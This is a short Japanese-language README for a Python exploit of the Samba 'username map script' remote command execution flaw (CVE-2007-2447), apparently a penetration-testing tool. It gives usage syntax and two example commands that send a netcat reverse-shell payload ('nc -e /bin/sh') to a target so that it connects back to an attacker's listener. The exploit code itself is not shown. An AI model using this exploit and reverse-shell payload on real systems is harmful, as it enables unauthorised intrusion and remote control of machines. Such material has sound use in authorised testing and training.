CVE-2007-2447 - Python 実装

説明

Samba 3.0.20 < 3.0.25rc3 向けの 'Username' map script の RCE エクスプロイト (CVE-2007-2447) の Python 実装。

使用方法

python3 smbExploit.py <IP> <PORT> <PAYLOAD>

• IP - リモートマシンの IP。
• PORT - (オプション) SMB が動作しているポート。
• PAYLOAD - リモートマシンで実行するペイロード。例: リバースシェル。

例:

python3 smbExploit.py 192.168.1.2 139 'nc -e /bin/sh 192.168.1.1 4444'

python3 smbExploit.py 192.168.1.2 'nc -e /bin/sh 192.168.1.1 4444'

リソース

CVE-2007-2447: Remote Command Injection Vulnerability

Samba 3.0.20 < 3.0.25rc3 - 'Username' map script' Command Execution (Metasploit)